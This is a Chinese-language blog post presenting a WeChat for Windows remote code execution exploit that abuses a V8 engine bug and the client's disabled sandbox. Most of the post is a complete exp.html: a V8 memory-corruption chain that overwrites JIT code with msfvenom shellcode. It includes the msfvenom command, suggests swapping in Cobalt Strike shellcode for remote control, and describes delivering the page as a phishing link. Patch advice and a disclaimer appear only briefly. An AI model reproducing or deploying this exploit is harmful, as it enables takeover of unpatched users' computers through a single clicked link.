Wechat RCE 0day

本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

小维

漏洞描述

该漏洞是Google V8引擎历史漏洞的衍生关联漏洞。微信客户端(Windows版本)使用V8引擎解析JavaScript代码,并关闭了沙盒模式(–no-sandbox参数)。攻击者利用上述漏洞,构造恶意钓鱼链接并通过微信发送,在引诱受害者使用微信客户端(Windows版)点击钓鱼链接后,可获取远程主机的控制权限,实现远程代码执行攻击。

影响范围

微信PC客户端(Windows)< 3.2.1.141 (注:亲测较低版本可能不存在)

漏洞复现

环境介绍
1
2
操作系统:Windows 10
Wechat:3.1.0.41

微信打开链接时会调用WeChatWeb.exe进程,默认使用–no-sandbox,构造好对应的POC即可实现攻击。

image-20210417130306791

exp.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
<script>
ENABLE_LOG = true;
IN_WORKER = true;

// calc.exe shellcode msf生成calc.exe shellcode命令msfvenom -a x86 –platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f c
var shellcode = [0x89,0xe0,0xdb,0xc0,0xd9,0x70,0xf4,0x5f,0x57,0x59,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x49,0x43,0x43,0x43,0x43,0x43,0x43,0x37,0x51,0x5a,0x6a,0x41,0x58,0x50,0x30,0x41,0x30,0x41,0x6b,0x41,0x41,0x51,0x32,0x41,0x42,0x32,0x42,0x42,0x30,0x42,0x42,0x41,0x42,0x58,0x50,0x38,0x41,0x42,0x75,0x4a,0x49,0x79,0x6c,0x7a,0x48,0x6d,0x52,0x53,0x30,0x63,0x30,0x65,0x50,0x53,0x50,0x6f,0x79,0x49,0x75,0x50,0x31,0x6b,0x70,0x70,0x64,0x4c,0x4b,0x30,0x50,0x46,0x50,0x6c,0x4b,0x52,0x72,0x54,0x4c,0x6c,0x4b,0x46,0x32,0x34,0x54,0x4e,0x6b,0x30,0x72,0x76,0x48,0x36,0x6f,0x78,0x37,0x51,0x5a,0x47,0x56,0x55,0x61,0x69,0x6f,0x6e,0x4c,0x35,0x6c,0x53,0x51,0x33,0x4c,0x75,0x52,0x36,0x4c,0x75,0x70,0x7a,0x61,0x78,0x4f,0x44,0x4d,0x37,0x71,0x5a,0x67,0x69,0x72,0x79,0x62,0x43,0x62,0x56,0x37,0x4e,0x6b,0x31,0x42,0x56,0x70,0x4c,0x4b,0x61,0x5a,0x67,0x4c,0x6c,0x4b,0x30,0x4c,0x76,0x71,0x31,0x68,0x7a,0x43,0x51,0x58,0x57,0x71,0x5a,0x71,0x52,0x71,0x4e,0x6b,0x33,0x69,0x37,0x50,0x57,0x71,0x7a,0x73,0x6e,0x6b,0x70,0x49,0x55,0x48,0x6d,0x33,0x66,0x5a,0x31,0x59,0x6c,0x4b,0x54,0x74,0x4c,0x4b,0x57,0x71,0x4e,0x36,0x56,0x51,0x59,0x6f,0x6e,0x4c,0x6b,0x71,0x38,0x4f,0x64,0x4d,0x77,0x71,0x49,0x57,0x57,0x48,0x4d,0x30,0x70,0x75,0x68,0x76,0x47,0x73,0x73,0x4d,0x6b,0x48,0x67,0x4b,0x61,0x6d,0x66,0x44,0x61,0x65,0x78,0x64,0x30,0x58,0x6c,0x4b,0x63,0x68,0x56,0x44,0x43,0x31,0x6a,0x73,0x71,0x76,0x6c,0x4b,0x76,0x6c,0x62,0x6b,0x4e,0x6b,0x53,0x68,0x45,0x4c,0x37,0x71,0x59,0x43,0x4e,0x6b,0x36,0x64,0x4e,0x6b,0x55,0x51,0x38,0x50,0x4f,0x79,0x52,0x64,0x47,0x54,0x31,0x34,0x43,0x6b,0x51,0x4b,0x33,0x51,0x70,0x59,0x52,0x7a,0x70,0x51,0x49,0x6f,0x59,0x70,0x53,0x6f,0x51,0x4f,0x30,0x5a,0x4c,0x4b,0x37,0x62,0x38,0x6b,0x4c,0x4d,0x73,0x6d,0x63,0x5a,0x63,0x31,0x6c,0x4d,0x6d,0x55,0x68,0x32,0x57,0x70,0x67,0x70,0x37,0x70,0x36,0x30,0x50,0x68,0x55,0x61,0x6e,0x6b,0x62,0x4f,0x6e,0x67,0x4b,0x4f,0x79,0x45,0x4f,0x4b,0x5a,0x50,0x6c,0x75,0x4c,0x62,0x73,0x66,0x31,0x78,0x69,0x36,0x7a,0x35,0x4d,0x6d,0x6d,0x4d,0x4b,0x4f,0x78,0x55,0x67,0x4c,0x55,0x56,0x63,0x4c,0x37,0x7a,0x4b,0x30,0x69,0x6b,0x79,0x70,0x74,0x35,0x76,0x65,0x4d,0x6b,0x31,0x57,0x52,0x33,0x43,0x42,0x42,0x4f,0x71,0x7a,0x75,0x50,0x50,0x53,0x39,0x6f,0x48,0x55,0x65,0x33,0x30,0x61,0x52,0x4c,0x51,0x73,0x74,0x6e,0x70,0x65,0x50,0x78,0x63,0x55,0x73,0x30,0x41,0x41];

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
if (value == 0xdecaf0) {
not_optimised_out += 1;
}
not_optimised_out += 1;
not_optimised_out |= 0xff;
not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
if (flag == true) {
return;
}
g_array = new Array(0);
g_array[0] = 0x1dbabe * 2;
return 'c01db33f';
}

function gc() {
for (var i = 0; i < 0x10000; ++i) {
new String();
}
}

function oobAccess() {
var this_ = this;
this.buffer = null;
this.buffer_view = null;

this.page_buffer = null;
this.page_view = null;

this.prevent_opt = [];

var kSlotOffset = 0x1f;
var kBackingStoreOffset = 0xf;

class LeakArrayBuffer extends ArrayBuffer {
constructor() {
super(0x1000);
this.slot = this;
}
}

this.page_buffer = new LeakArrayBuffer();
this.page_view = new DataView(this.page_buffer);

new RegExp({ toString: function () { return 'a' } });
cb(true);

class DerivedBase extends RegExp {
constructor() {
// var array = null;
super(
// at this point, the 4-byte allocation for the JSRegExp `this` object
// has just happened.
{
toString: cb
}, 'g'
// now the runtime JSRegExp constructor is called, corrupting the
// JSArray.
);

// this allocation will now directly follow the FixedArray allocation
// made for `this.data`, which is where `array.elements` points to.
this_.buffer = new ArrayBuffer(0x80);
g_array[8] = this_.page_buffer;
}
}

// try{
var derived_n = eval(`(function derived_n(i) {
if (i == 0) {
return DerivedBase;
}

class DerivedN extends derived_n(i-1) {
constructor() {
super();
return;
${"this.a=0;".repeat(tDerivedNCount)}
}
}

return DerivedN;
})`);

gc();


new (derived_n(tDerivedNDepth))();

this.buffer_view = new DataView(this.buffer);
this.leakPtr = function (obj) {
this.page_buffer.slot = obj;
return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
}

this.setPtr = function (addr) {
this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
}

this.read32 = function (addr) {
this.setPtr(addr);
return this.page_view.getUint32(0, true, ...this.prevent_opt);
}

this.write32 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint32(0, value, true, ...this.prevent_opt);
}

this.write8 = function (addr, value) {
this.setPtr(addr);
this.page_view.setUint8(0, value, ...this.prevent_opt);
}

this.setBytes = function (addr, content) {
for (var i = 0; i < content.length; i++) {
this.write8(addr + i, content[i]);
}
}
return this;
}

function trigger() {
var oob = oobAccess();

var func_ptr = oob.leakPtr(target_function);
print('[*] target_function at 0x' + func_ptr.toString(16));

var kCodeInsOffset = 0x1b;

var code_addr = oob.read32(func_ptr + kCodeInsOffset);
print('[*] code_addr at 0x' + code_addr.toString(16));

oob.setBytes(code_addr, shellcode);

target_function(0);
}

try{
print("start running");
trigger();
}catch(e){
print(e);
}
</script>
效果

将恶意的exp.html部署在HTTP服务上,使用微信内置浏览器打开部署好的链接,成功弹出计算器。

image-20210417114107973

将exp.html中的计算器Shellcode替换成CS生成好的Shellcode(32位),实现CS上线。

image-20210417134219601

处置建议

微信新版本修复该漏洞,建议用户立即将微信 (Windows版)更新至最新版本。

参考

https://mp.weixin.qq.com/s/qAnxwM1Udulj1K3Wn2awVQ

-本文结束感谢您的阅读-